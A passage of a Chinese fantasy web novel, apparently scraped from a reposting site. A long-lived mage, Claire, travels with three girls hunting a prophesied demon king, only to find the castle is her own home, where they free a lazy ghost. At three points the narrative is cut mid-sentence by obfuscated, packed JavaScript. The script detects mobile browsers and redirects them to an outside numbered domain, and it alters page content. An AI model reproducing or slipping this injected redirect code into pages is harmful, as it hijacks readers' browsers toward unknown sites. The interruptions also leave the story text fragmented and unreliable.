不是变异，也不是灵异，一切都可以用魔法解释。 “这些树没有自我意识，是被魔法操控的，那些桃子也只是在乱扔而已。” 它们随机地投掷桃子，根本没有区分，软桃扔在地上，也是因为扔不准，而不是什么让她们脚滑的计谋。 埃弗里飞快地说了自己的猜测，三人转守为攻，齐力攻击桃树的树根，“花盆”的位置很好判断，树根以下就是了。 桃树数量很多，很难一次性解决。但拜它们的包围战术所赐，只需要把最内圈的桃树“花盆”打破，内圈桃树动不了，后面的桃树也挤不进来。 虽然桃树还在不停地攻击，向她们投掷软桃、硬桃，不过属于站桩输出，攻击面有限，可以被轻松应对。 埃弗里接过扔过来的桃子，用手擦了擦，咬下一大口。体力消耗得太快，正好补充一下。 理论上应该洗洗再吃，可它们生长得太快，还来不及沾上脏东西，就彻底成熟了。 催熟效果立竿见影，然而几乎不会有人把它用在果树上。由于缺乏光照，糖分无法累积，水果口感奇差，淡而无味，和喝水没区别。 “这样下去也不是办法，我们总不可能等它们自己停下来吧。” 催熟只是加快生长进程，消耗的还是土地里的营养，除非桃树把它们所能摄取到的营养，全部都消耗殆尽，否则不可能停下。 等她们拿到金剑走后，这些桃树还在到处扔桃子，等它们不扔了，这片岛已经因为土壤贫瘠彻底废了。 安西娅看向埃弗里，埃弗里摇了摇头，安西娅思索片刻，站起身看向树上，“克雷尔，虽然现在并不危机，但是我们没办法破解催熟。” 那是高年级的课题，而且是非常冷门的内容，她们还没学到那里。 克雷尔摇了摇头，“我帮不了你们，我不研究生物类的魔法。” 这话是真的，催熟的破解确实有难度。 根据克雷尔多年的漫画经验，如果预言是真的，真选中了三个十几岁的孩子，如果埋金剑的人真的想让她们找到魔王，就不可能设置远超过她们能力的难题。 克雷尔想了想，说:“即使是用时间魔法，也没办法把桃树变回被触发前的状态。” 完全是句废话。每个人都知道时间魔法起不了作用。 埃弗里和安西娅对视一眼，顿时明白她们心里在想同一件事，克雷尔说的话更像是某种提示，“被触发”三个字是关键。 一时间桃树林里异常安静，只剩下桃树还在不停地“想结软桃结软桃，想结硬桃结硬桃”。 ——破解这个疑似录音播放的魔法不难，但树太多了，现在没人想额外消耗体力。 蒂娜捂住耳朵:“也就是我们！如果换了别人，万一再是孤身一人过来，遇到这种危机，可怎么办？” “如果是别人，大概就不会遇到这种情况了。”安西娅说。 如果岛上有桃树成精，到处破坏，追杀路人，协会早就安排人过来处理了。 还有一个更有说服力的例子。放牧人经常来这边摘野桃野果，从来没有遇到过这种情况。 总不可能是她们运气差吧。 触发机制是什么？她们和她的区别在什么地方，她们是4个人？她们是被预言选中的？她们来了之后，在石碑上乱刻乱画了？ “是银片，”埃弗里说，“虽然我不确定，但我觉得应该就是。” “不，确实是银片。”安西娅笃定地说。 在埃弗里提出这个猜测之前，安西娅没往这方面想过。 要问她为什么那么肯定，是因为她在埃弗里说出第一个字后，就马上转头，紧盯着克雷尔，见克雷尔表情有所改变，这才确信。 “是我们身上的银片，与它们产生了某种呼应。” 金剑银片，听起来就是一个组合，金剑应该就在这片岛上，而银片在她们身上。 安西娅从裤袋里拿出银片，它沉默地躺在她的手心，看上去没有任何异常，而那些桃树的状态也没有改变。 “我们该……呃，怎么使用它？” “不清楚，先找个隔绝魔法的盒子把它装起来？应该能管用，如果是它触发了那些桃树上的魔法的话。” 拜桃树所赐，她们的锅碗瓢盆碎了一地，汤也洒了，餐布浸在汤里，不能再用了，原本放在一起的包裹散得到处都是，唯一值得庆幸的是，东西都还在。 她们没有带隔绝魔法的盒子，不过埃弗里想起她有一双绝缘手套，为了收起长时间工作的魔法灯时不被烫到。 把银片放进去，并且用绳子系紧， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15559898|171361||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 耳边吵闹的声音终于停止了，桃子也不再生长，只是桃树仿佛被开启了震动模式，一直小幅度晃动。 “银片的魔法已经被隔绝了啊……唔，那个人似乎给它们施加了回到原位上的魔法。” 但“花盆”被砍了，它们动不了。 “我想我应该可以帮忙做个善后。”克雷尔说。 几个少年都累得不行了，要由她们挨个把树栽回原本的位置，真的会累趴。 克雷尔把岛屿的时间回溯到一天前，记住上面桃树的位置，然后全部连根拔起，栽…… “等一下！” 还没等栽回去，就见蒂娜一跃而起，拉上安西娅和埃弗里，飞快地往其中一个树坑跑过去，边跑边回头大喊，“先别栽，等我两分钟！两分钟就行！” 地面坑坑洼洼，坑里满是细细的树根和碎沙石头，其中一个坑里有一块黑色的物体，吸引了蒂娜的注意。 它看起来和装银片的盒子差不多宽。 “不是盒子啊。”蒂娜有些失望，来都来了，还是决定把它刨出来看看。 光刨就花了十几分钟。那是一把很大很重的剑，立起来能到她的肩膀。 它由黑铁制作，和金子没有一点关系。 如果不是剑柄上恰好有黑桃形状的凹槽，银片放进去正合适，没人能把它和她们要找的金剑联系在一起。 “还不错，”蒂娜费了好大力才拎起来，比她想象中还要重，“我喜欢它。” 再过上两三年，等她身量更高更健壮，它说不定会是她最趁手的武器。 蒂娜几乎是立刻决定，哪怕是为了它，她今天晚上也要多吃两斤肉。 “确实很不错，”安西娅在口袋里摸索半天，只有先前收进口袋的卡拉石勉强能用。 她把它放在剑刃，立刻变成两半摔在地上，“即使是最精湛的武器匠人，想打造这种程度，也需要十年以上吧。而且还没附魔。” 没附魔，就说明是无主之物。 唯一的问题是，黑剑和银片的材质完全不同，银片用的是最普通的那种，通常用来打钥匙。这俩放在一起很不协调。 但是看蒂娜这么兴奋，还是没必要说了。 把树栽回去，几人简单吃了个饭。锅碗瓢盆都没法用了，于是蒂娜倾情分享，刚才还爱不释手的黑剑，被拿来当烧烤的铁板用，剑面很宽，正好适合煎东西。 没人有精力再做一顿丰盛的晚餐，干脆把面包片、肉片一股脑全码上去，配上唐恩给带的蘸料，味道也不差。 在放牧人的小屋里凑合了一宿，第二天天蒙蒙亮，就继续踏上征途。 把最后一站甩在身后，她们离魔王城堡已经很近了，没有需要收集的东西，前进的速度比之前快了一倍不止。 只是克雷尔隐约觉得，路边的景色有些眼熟。 或许是她在做协会任务的时候，从这里经过过。 眼看景色越来越眼熟，克雷尔心里的疑惑越来越大，忍不住问:“你们确定路线正确吗？” “是对的，我们确认过很多次。” “魔王城堡长什么样？” “整体造型有点像方形蛋糕上插了三根蜡烛，黑紫色调，大门也是黑的，镂空雕花设计，雕的是倒悬的蝙蝠，露出尖牙。” “而且坐落在半山腰上？” “而且坐落在半山腰上……嗯？我们之前有说过这个吗？” 克雷尔:“没有，但漫画里都这么画。” 蒂娜吐槽:“哪个好人会在大门上雕难看的蝙蝠啊，太怪了。” “……” 在解释那个所谓的魔王城堡是她家，和辩解自己不是魔王之间，克雷尔选择为自己的设计申冤: “说不定只是个想玩谐音——‘福到了’的人呢？” 不过确实不太好看，连帮她盖房子的朋友，都忍不住吐槽了很多次。 蒂娜有点没听懂:“？” 路线越来越熟悉，克雷尔闭着眼睛走也不会出错。魔王城堡指的就是她的家，这下连她自己都没办法否认了。 真不错，她成了魔王……在她加入讨伐魔王的小队之后。 “魔王城堡”坐落在半山腰上，周围没有一个邻居，黑色大门掩着，没有落锁，却无法打开。 埃弗里深吸一口气，抬头注视着这座城堡，“和预言里的一模一样，气势恢宏呢。” 克雷尔:“……谢谢。” 埃弗里疑惑地看她一眼。蒂娜压根不关注她们的反应，此时她正心潮澎湃，摩拳擦掌，“马上就要见到无恶不作的魔王了！” ……无恶不作的魔王就站你旁边。 无恶不作的魔王说:“要我帮忙开门吗？” 7. 游客参观指南 “不用了，现在还没到危机时刻，”安西娅用力推了一下门，没打开，“不过，如果我们真的和魔王打起来，并且不敌的话，到时候就要靠你对付魔王了。” 克雷尔想象了一下那个画面，“好吧，如果我能做到的话。” 她退到一边，把发挥的空间交给三人组。 门很厚重，推不开，抓住镂空的地方可以左右滑动，但增加的那点空隙无法让人通过。 蒂娜甩了甩酸疼的手臂，“为什么门上连个钥匙孔都没有？” 谁家魔王大门上会有钥匙孔？那也太没格调了。 并不是说克雷尔承认自己就是魔王，而是她有一段时间沉迷这类的漫画，所以在盖房子的时候，稍微参考了一下。 ——包括她主动和安西娅三人搭话，也因为她们是漫画里经典的讨伐魔王三人组。 想要打开门其实很简单，在门左边的墙壁上，有一个不明显的按钮，按一下，就会弹出一个九宫格。 有点类似智能手机的数字密码锁——建房子时她稍微怀念了一下前世生活。 在房子建好后的几百年里，她也曾想过要不要换掉，但毕竟是个念想，一直没动。 数字密码想破解很难，除非那份预言里连这个都有，或者她们直接把门拆了，否则花上三天三夜也进不去。 “我想到办法了。”埃弗里突然说。 “蒂娜你过来一下，你看，把这个杆子往里推，推到这种程度，”埃弗里示意蒂娜仔细看，“门和墙壁就会有一部分重合，这个形状……” “是银片！” 银片已经嵌入金剑里，拿不出来，蒂娜把剑举起来，让银片对准凹槽，门缓慢地打开了。 虽说开了，却没一个人主动走进去。 安西娅注意到克雷尔的表情，“看来我们在想同一件事，居然能用银片打开，这真是……匪夷所思。难道预言纸也是真的？它给的路线是对的，银片也确实有用，只是在时间上骗了我们吗？” 克雷尔:“是啊，的确奇怪。” 看来她必须重新审视一下所谓的“预言”了。 “那些先抛到一边吧，现在的问题是，”蒂娜挠了挠头，“虽然门已经开了，但我们要敲门吗？” 克雷尔:“我以为你们是来讨伐魔王的。” 她以为不进去是因为担心有陷阱，居然是在犹豫要不要敲门？ “我们确实是。但她现在还不是魔王啊！是啦，城堡和预言画上的一模一样，一个像素的区别都没有，但直接闯进去还不太好吧？” 克雷尔率先推开门，走进去，“现在，请进吧。” 她没有掩盖自己是房子主人的事实，不过没人会往那方面想。 埃弗里严肃地发出警告:“克雷尔说得对，先进去吧，不过提高警惕，说不定魔王已经注意到我们了，在请君入瓮。” 门打开的声音很大，城堡其实只有三层楼再加一个花园而已，如果是五感敏锐的人，不可能注意不到。 几人小心地走进去，从入户花园中的小径穿行。 虽说是冬天，花园也枯败得太严重了，四季常开的花、长青的树，在种子店多的是。 但这里的喷泉水池是空的，砖石开裂，土壤板结，依稀能辨认出是肥沃的土地。 花园里寥寥几棵花树不是枯死，就是倒下，看起来死气沉沉。唯一的生气，来源于枯树上长的几朵木耳。 蒂娜问:“预言画里也是这样的吗？” 埃弗里摇了摇头，预言画里没有画这部分。 推开一楼的门，这里倒是和预言画里差不多，正中间一把宽敞精致的椅子——虽然没有坐在上面的魔王。 墙壁两边陈列着各种各样的东西，光线太暗，看不真切。 安西娅呼出一口气，雾气在空中蒸腾挥散，“这里有一种暗不见光的潮湿森冷感。” 克雷尔看了她一眼。 位于山背面的房子，在冬天潮湿森冷才是正常的，把窗帘拉开就不会暗不见光了。 “比起这个，我们都进来这么久了，为什么没有人来阻止我们的闯入呢，不是魔王吗？” 埃弗里摇头，“我也不太懂。” 事实上，她们都是第一次听说有魔王的存在。 其她有“王”的种族，比如蜂群、蚁群，她们都是典型的思维一体、集体即个体的种族，天生的王相当于共同的思维神经中枢。 “王”这个单词正是由“联结”衍生来的。 其她种族没有王存在，也没有王存在的必要。 而魔物们又是无意识的混合体。 目前埃弗里的猜测分为两种，一个是魔王其实是个人族——外表和人类一样。因为能和魔物建立某种联系，所以称之为魔王。 另一个猜测是高阶魔物，就像拉布列吞噬树后，变成树的模样，它也吞噬了人，所以才拥有人的外表和思维，同样能够联结魔物。 前者的可能性比较大，在目前可追溯的历史书籍中，从没出现过后者的记录。 埃弗里也希望是前者，是人类，至少可以交流。想要说服一个大坏蛋很困难，但可以沟通，就意味着事情没那么棘手，起码能尝试威逼利诱。 克雷尔:“我好像还没问过这个问题——在预言里，魔王做了什么过分的事情吗？” 提到这个，蒂娜就非常反感，压低的声音也扬起来一些:“她根本不把别人的命当命，只要有个由头就开始杀人，弄得大陆上哀声怨道！” “是这样啊。”克雷尔说，她对此没什么感觉，除了觉得有点怪。 “你居然是这种反应。”蒂娜很惊奇地盯着她看，“我们对其她人提到预言时，不管她们刚开始有多严肃，只要听我们说魔王如何滥杀无辜，就立刻觉得我们是在开玩笑。” 无论是聚集地的长辈，还是学校的老师，都不相信三人的话，她们看不到预言上的字，不认为预言是真的，更不认为真的会有魔王出现。 “我们都知道，动物杀死另一个动物是为了果腹。在有食物的情况下，杀死另一个动物的意义在哪里呢？况且是杀死众多拥有思维的同类。” 学院长听完她们的故事后，委婉地对她们说。 “我找不到支撑‘魔王’展开杀戮的理由，我想，这也是大家都不认为预言属实的原因。它缺乏逻辑。如果它只是一个故事，那这个故事的确很有创造性，真的很不错——你们有人想加入学校的报社吗？” 学院长这个反应非常正常。 如果有人写了篇幻想小说，说空气其实是致死元素，自然死亡的人并非自然死亡，而是被空气害死的……是个不错的幻想。 但如果是在现实中，有人信誓旦旦地说这种违反基本逻辑的话，并且要求大家都重视起来，只会被人当神经病。 大家都很好，没人说她们是神经病。 如果不是只有她们可以看到预言上的字，她们也不会相信。 为了证明真伪，她们才踏上寻找魔王的路途。预言中的种种都得以应验，只是她们都进城堡了，还没见到魔王，这点很奇怪。 克雷尔说:“说不定魔王出门了，没在家，你们不用这么紧张。” 埃弗里点燃了一盏非常小的魔法灯，只有豆大点光，几人就凭借这么一点光，谨小慎微地前进。 突然，走在最前面的埃弗里捂住嘴，小声惊呼:“这是……” 微弱的灯光照亮了“展品”，是一个灰白的头骨，黑洞洞的眼眶正面向来者。 安西娅握紧拳头，稳了稳语气，才让声音听起来不那么颤抖:“可能我们之前对魔王的判断都是错的，她已经变成预言那样了……竟然将人的头骨当做大厅的装饰品……” 那是泥巴捏的。 克雷尔都能中二到复刻漫画里的魔王城堡了，捏个骷髅出来吓人玩，再合理不过。 问题是，这仨孩子好像真的被吓得不轻。 埃弗里的声音虚得快飘起来了，“头骨上遍布裂纹，可见生前遭受了何等的痛苦。” 新手不要轻易尝试烧陶，技艺不精，容易炸坯。 “我来，我经常和动物打交道，”蒂娜挤到最前，用手摸了一下头骨，飞快把手缩了回来，咽了口唾沫，“确实是骨头的触感。” 据说在陶土里加了一些猪骨粉，可以增加陶瓷制品的硬度和光泽，好像加太多了，克雷尔依稀记得自己是因为配比不对，才导致失败的。 她其实能理解，上百岁的成人，都未必见过自然死亡之外的同类尸体，在十几岁的年纪，谁能接触过真正的人骨？ 这里又是传说中“杀人如麻”“无恶不作”的魔王老巢，就算看到一条晾衣绳，也会忍不住怀疑它身上背负了十几条命案。 埃弗里正在低声斥责蒂娜乱摸，万一上面涂了什么腐蚀药剂，手还要不要了？ “你们先不要说话，过来，这个头骨……有鬼。”安西娅指着骷髅其中一处说。 “啊！确实有鬼。” 埃弗里慌乱地找出一把镊子，小心翼翼把头骨挪开，安西娅把显形药剂撒在空无一物的展示台上，一个人形逐渐显现出来。 她的外形和精灵没什么两样，只是身体是半透明的，体型只有巴掌那么大。 蒂娜深吸一口气:“这是！” “是鬼。刚才她们已经说了。”克雷尔面色难看。 埃弗里同样面色难看，“居然把鬼封印在头骨里，还心思险恶地施加了隐形魔法，就是为了让鬼不被发现，不被救出，究竟是什么样的人，才能做出这种惨无人道的事？！” 克雷尔冷笑着重复:“是啊，究竟是什么样的人，才能做出这种惨无人道的事？” 鬼正在慢慢苏醒，听到克雷尔凉嗖嗖的声音，顿时清醒了，身体抖了一下，原本要脱口而出的怒骂憋了回去。 她飞快揉了揉眼睛，睁开眼就发现自己被灯照着，还有四个人齐刷刷地盯着她，顿时露出了惊恐的表情。 埃弗里以为她还在害怕，“你叫什么名字？没关系，你现在已经安全了。” “……伊尔卡拉。” 看着为救了她而雀跃欣喜的三个人类和精灵，再看看黑着脸的克雷尔，伊尔卡拉觉得自己并不安全。 “好的，伊尔卡拉，鬼都是有任务在身的，你可以继续去完成你的任务，你现在自由了。” 她一直是自由的。在被她们吵醒之前，她正在自由地睡懒觉——因为不想去做任务。 伊尔卡拉揉了揉因久睡而僵硬的脸，不得不面对新的问题，这栋房子的主人正虎视眈眈地盯着她，让她不禁埋怨起来，“你们不该把骷髅掀开的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15559899|171361||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 三人疑惑。 埃弗里小心地问:“是会触发什么机关吗？” “我没察觉到有机关，”克雷尔说，“她可能刚醒，脑子不清醒，在胡言乱语，我会安慰她的。” “好吧。” 她们接受了这个解释，鬼的脑容量极大，里面包含的记忆冗杂繁多，在脑子不清醒时蹦出几句奇怪的话，一点都不奇怪。 克雷尔拎着伊尔卡拉到了一边。 不同于前世，这里没有“天堂”“地府”的概念，人死了就是死了，不存在死后变成幽灵。 “鬼”自然也与前世不同，却又有些共通之处。 所有种族死后都会被埋葬，成为大地的养分，滋养世间万物，而鬼正是受了亡者的滋养，自天地间诞生的灵体。 也有人说，她们是从逝者的执念中诞生的。 大约一千年有一个鬼诞生，她会拥有这千年来所有逝者的记忆，是真正的生而知之者。 她们拥有的不只是记忆，还有逝者在死亡降临的那一瞬间的执念，驱使着她们，不停地辗转于大陆上的每一个地方。 并不是说，人们在最后一秒所想的，是什么惊天动地的伟大梦想。 彩色的糖果纸、忘记放在哪里的鹅卵石、金色橙色与火红的晚霞、咬开未成熟李子后从舌尖迸开的酸……只是这种程度的小事，夹杂着“如果能再看一次日出”的微小愿望。 人在最后所能想到的，只是这些细小而无意义的事物。 鬼正是从这些小事中诞生的。 人们的执念总是大同小异。 看一次朝阳至少能完成一百个逝者遗愿，吃一碗奶油炖鸡又能完成一百个。 也并非所有人都有执念。 可毕竟跨度长达千年，再简单的工作做久了也会厌倦，所幸鬼只是灵体，不存在生死，是真正意义上的永生物种。她们有的是时间。 据克雷尔所知，伊尔卡拉赖在这里不走，已经有好几十年了，完全没有急迫的样子。 她找不到赶她走的理由。 她是最近一千年诞生的鬼，意味着她拥有克雷尔所有朋友的记忆。 克雷尔不会把记忆与人等同，不过足以让她对伊尔卡拉的大多数行为，睁一只眼闭一只眼。 “隐形魔法用的可真不错。但我好像跟你说过，一楼二楼你都可以住，只是不能动我的东西吧？” 伊尔卡拉顾左右而言她，“看到你和别人一起出现，真的吓了我一跳，你什么时候喜欢哄小孩玩了？” “这不是你该操心的事，还有，说话注意点，她们是来讨伐魔王的，我是魔王，别露馅了。” 伊尔卡拉做了个制止的手势:“停，停，我有点跟不上你的节奏。” 克雷尔简单说明事情经过，没想到伊尔卡拉对此兴致勃勃，说什么都要凑个热闹。 克雷尔不表态，三个少年想了想同意了，埃弗里说:“鬼毕竟有着那么多人的记忆，说不定能帮上忙，魔王城堡遍布机关……” 伊尔卡拉:“没有机关。” 灯坏了都懒得修的人，会在自己家里装什么机关吗？ “是吗？没有机关恰恰说明了魔王的傲慢与强大。” 伊尔卡拉用力点头表示认可，克雷尔确实强大且傲慢——某种程度上是这样。 她又问:“找到魔王之后，你们打算怎么解决？” “和她对话。” 克雷尔意外:“不杀了她吗？” “没有人出生是为了被别人杀死。” “但她不是无恶不作的魔王吗？” “预言上是这么说的，而且我们还看到了头骨。但预言纸可能是假的，头骨可能是捡的——虽然也很过分。但还没见到魔王，一切都还不明朗。至少我们要把事情弄明白，之后再决定是要封印她，还是劝降她。” “结果还不是杀了她。” “当然不能那么轻易就说出杀人的话啊，人的生命那么宝贵，预言里的魔王就是因为轻贱别人的性命才是魔王的——如果预言是真的话。” 克雷尔摇摇头。 这个年纪的孩子都有种不切实际的天真勇敢，包括看了预言就单枪匹马出发也是。 “是你的问题。我问的是解决方案，杀戮只能终结，充当不了解决方案。”伊尔卡拉坐在克雷尔肩膀上，问，“你为什么觉得把魔王杀了就能解决问题了，活得太久了就会这么想吗？” 她是真的在问。 虽然是永生种，虽然拥有无数人的记忆，但她诞生的时间还不是很长。 而且，她是从无数的死亡中诞生的。 杀戮其实是个很重的词，尤其是对于伊尔卡拉而言。她的存在本身就意味着，正常、合理、自然死亡的人，依旧对生有着渴望。所以她不能理解。 或许对于长生种来说，大多数种族的生命都如昙花一现般短暂，因为见惯了，所以就没那么珍贵。是这样吗？ “我不清楚别的长生种怎么想，”克雷尔轻声说，“不过对我来说，倒不是活得多久问题，而是把别人当人，还是当游戏里的npc的问题。” 克雷尔喜欢这个世界，非常喜欢，她几乎已经完全被同化了，但她不想融入。 “说不定那个预言是真的，我真是魔王也有可能。” 8. 卡兹奥尔不说话 “虽然我拥有你朋友的记忆，而且不止一份，所以稍微能理解npc的意思，也能理解你为什么这么说，但，不至于吧？”伊尔卡拉挠头。 克雷尔笑了一下，“我们继续跟着她们走吧，至少现在不用担心我身份暴露后被杀了。” “不要真的把自己代入魔王的角色！” 克雷尔再次笑了一下。 她融入过这个世界，非常顺利，如鱼得水。 虽然对前世心存怀念，也想回去，但她本来就是随遇而安的人。这个世界又有魔法，又有其她种族，她穿越来时只有一二十岁，正是和三人组差不多的年纪。 跃跃欲试想要冒险的心情，她也有过，只是现在忘记了。 她一边交朋友，精灵、人类、狼人，各种族的都有，一边学习语言和常识，到处走到处看，没有她不敢去的地方。 她实在没资格指责埃弗里她们天真鲁莽，她那时比她们还要肆无忌惮、还要张扬，脑海里从来没有出现过“担忧”“害怕”的字眼。 世界于她们而言，只是一块巨大的蓬松云朵，柔软，而不真切。 当然了，在云朵下，会有突如其来的雨，也有雪花和冰雹，可你能想到最糟糕的结局，也不过是被淋个落汤鸡，或者狼狈地躲避冰雹，被砸几下脑袋。 就连这体验都显得那么新奇有趣，只觉得自己的时间不够分配。 那时她还没想到自己会活那么久。 在第一个百年到来时，她和朋友们说了些“虽然我只能活一百二十年，但我没有虚度，活得很值，你们不要难过”之类，现在想起来只会想笑的话。 她那时当然没死，一直没死，在参加了一个又一个朋友的葬礼以后，依旧莫名其妙地活着。 无论是前世还是现世，都有非常完整的死亡教育，人们渴望生，却也正视死亡，对死亡的态度颇为豁达。 陪伴朋友最后一段时光，然后在墓碑上刻上名字，过了一段时间后，重复这个操作，直到最后一个朋友也离世。 听起来可能有点悲伤，实际上做这些时和预想的不同，并不感到难过。 但是，“瞬间”。 偶然找到了某个朋友会喜欢的东西，为之欣喜而后，发现它永远无法送出的、茫然的瞬间。 没人能阻止那个瞬间的到来。 掌管时间的卡兹奥尔也无法做到，因为她只是一片黑暗。佩洛西同样不行，但在白日，她会给人们看风吹起时摇晃的树，流动的云，小狗哒哒跑过留下的爪印。 这么说不是为了抱怨什么，长生是不是祝福见仁见智，唯一能确定的是，它绝不是诅咒。 她喜欢这个世界，喜欢自己漫长的寿命。 她依旧很期盼每天晨起看到的朝阳；喜欢刚出炉面包的香气，和小孩子从身边飞奔而过时带起的风；会徒步跨越千里，只为看一次龙的迁徙，也会因为自己琢磨出的，一些奇怪的小魔法而忍俊不禁。 人不会只活在某个难过的瞬间。 遗忘是人体机能，趋利避害也是。 她喜欢这个世界，以旁观者的视角。 她不和同事们一起出任务，拒绝了她们送过来的面包，一次也没有和那些小孩子玩过。 即使所有人都在同一时间去世，她也不会感到难过。 这是专属于她的生活小窍门。 不存在什么为朋友去世而悲痛欲绝，从此封闭心门，不敢交朋友——这么说，像是把责任归咎于逝者，实在太过无理。她只是不想再陷入那个瞬间。 她知道自己不是冷静，而是漠视，所以，因为她无动于衷太久了——既然人们于她不值一提，那么摧毁也没关系——以至于变成一个无恶不作的恶魔吗？ “不要这么坦然地接受自己会变成恶魔的命运啊！”伊尔卡拉踩着她的肩膀，揪着她的耳朵重复，“你没问……你可能是有点问题，但没到那种程度。” 克雷尔示意她压低声音，不要惊动其她人，而后问:“我们是朋友吗？” “算是吧，算是吗？”伊尔卡拉其实不太确定，“我还没有交过朋友呢，一直在完成任务。” “在我的陶瓷摆件里完成任务吗？” 伊尔卡拉不满地“啧”了一声。 以克雷尔的标准来看，她们不算朋友，虽然伊尔卡拉是永生种，不会死亡，就算是有谁要参加葬礼，那也是伊尔卡拉参加她的。 但她们没有因此成为朋友。 “如果一个人仅仅因为不交朋友，就会变成恶魔，那也太荒谬了，你觉得这真的可能吗？”伊尔卡拉问。 让一个人发生如此大的转变，必然要有个契机。而克雷尔有些懒散孤僻，她的生活一成不变，缺乏变化，没有契机。 甚至不能指望天降陨石把她砸得精神失常，性情大变，因为那种程度她可以轻而易举地躲过。 “她们手里不是有预言吗？再确认一下吧，克雷尔，你还记得预言的具体内容吗？” “实际上，我没看过。” 实际上，埃弗里提出要给她看，但她拒绝了。 “为什么不看！” “你玩游戏时不会跳过你不感兴趣的剧情吗？” 经典冒险故事的预言，无论载体是书是画还是石头，内容都大同小异，那种猜都可以猜到的东西，就算是永生种，看了都会觉得是在浪费时间。 克雷尔也只是对三人小队感兴趣而已。 伊尔卡拉跟她对着瞪了一会儿眼，见她没什么反应，转头去找埃弗里了。 “嘿！你看起来很聪明，所以你记得预言里关于魔王的具体内容吗？越详细越好，这有助于我们了解她的弱点。” 埃弗里想了想，“这方面好像没有，不过你之前被困在城堡里，你知道城堡里的实验室在哪里吗？我们必须去那里一趟。” “这里没有实验室啊。” 埃弗里松了口气，“看来不需要去救人了，谢天谢地！看来现在还没有发展到那种程度。” “那种程度是指？” “魔王制作了一种非常恐怖的危险药剂，是从一种我们从未见过的植物中提取出来的，拥有很强的伤害性，她以此折磨人们，从中取乐。” 伊尔卡拉趁埃弗里不注意，瞥了克雷尔一眼，制作药剂？她在药剂学上可没有一丁点天赋，培养植物上也是。 如果在二楼的书房里努力翻，说不定还能找出，当初她的导师劝她放弃药剂学、不要再残害植物了的书信。 “从未见过的植物？长什么样子，叫什么名字？我在我的记忆里找找看，如果真的危害性特别强，我脑海里应该有它的信息。” “预言里的每个种族，甚至是动物，被强行灌了那种药剂之后，都会痛苦地满地打滚，目眦欲裂，求魔王给她们一个痛快……” 埃弗里不忍，叹了口气，“我记得那种药剂叫香菜提取液，所以那种植物应该是叫香菜，很难想象它的功效如此可怕，明明名字听起来那么正常，甚至像是一种蔬菜。” “……？” 伊尔卡拉表情一言难尽:“……是不是一种绿色的，长得有点像草，叶子像是裂开的伞，并且味道刺鼻的植物？” 埃弗里本来没抱希望，听她这么说，惊喜交加，立刻道:“对！你见过这种植物，还知道它的味道？你知道破解这种药剂需要什么吗？或者它长在什么地方？必须赶紧通知……” “不，这些都不重要，你的意思是魔王把香菜榨汁，然后残害别人，逼她们喝下去是吗？” 见埃弗里居然表情严肃地点头，伊尔卡拉终于忍不住了，哈哈大笑，“然后她们还痛苦地打滚……不行，我也想满地打滚了，不过是被笑的。” 这下不止埃弗里，三人组一起怒视着她，蒂娜握着拳头，眼睛瞪得很大:“别人的痛苦，对你来说，难道是什么可笑的事情吗！？” 不难看出，如果不是一拳下去，以鬼现在的体型真的会被砸扁的话，她早就冲上去揍人了。 安西娅拦住她，虽说品性和种族没有关系，但鬼这个种族的诞生机制……很难想象，她们中会有以她人痛苦取乐的个体。 “我们对香菜所知不多，看你这个反应，是我们错误理解了预言的意思吗？”安西娅问。 她们太郑重太严肃，多少有点扫兴，这种事情还是要知道内情的人一起来笑才有意思啊，伊尔卡拉装模装样地咳嗽一声，“我当然了解，不过还是让克雷尔给你们解释——” 她转向克雷尔，看到克雷尔难看的脸色，才意识到什么，收敛起笑容。 她是鬼，所以知道。 克雷尔跟她那些朋友讲起过前生的事。就像她对这个世界感到兴致勃勃一样，朋友们也很好奇另一个不同的世界。 大到宇宙飞船量子纠缠，小到蚂蚁水蚤，她能从记忆里搜刮出多少，就说了多少。 其中当然有提到自己最讨厌的蔬菜。 和朋友闹矛盾，吵架赌气的时候，也会恼羞成怒说“要是这个世界有香菜就好了，我一定把它直接塞你嘴里”。 笑完发现，预言的真实性居然提升了。 知道香菜，且还活着的人，好像也只剩下克雷尔和她了。 伊尔卡拉表情变得讪讪的，“那什么，我也住在这，我还知道香菜，说不定制作香菜提取液的魔王，指的其实是我呢？” 安西娅说:“理论上有这个可能，不过—— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15559900|171361||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 因为伊尔卡拉先前的表现，蒂娜对她的好感降到了最低，嗤笑一声，嘲讽道:“就你这个不到巴掌大的身体，还魔王？打你跟打苍蝇一样。” 伊尔卡拉斜睨了她一眼，从桌子上跳下去，身量猛然拔高，最终停在两米一，正好比蒂娜高一头。 她环胸俯视蒂娜。 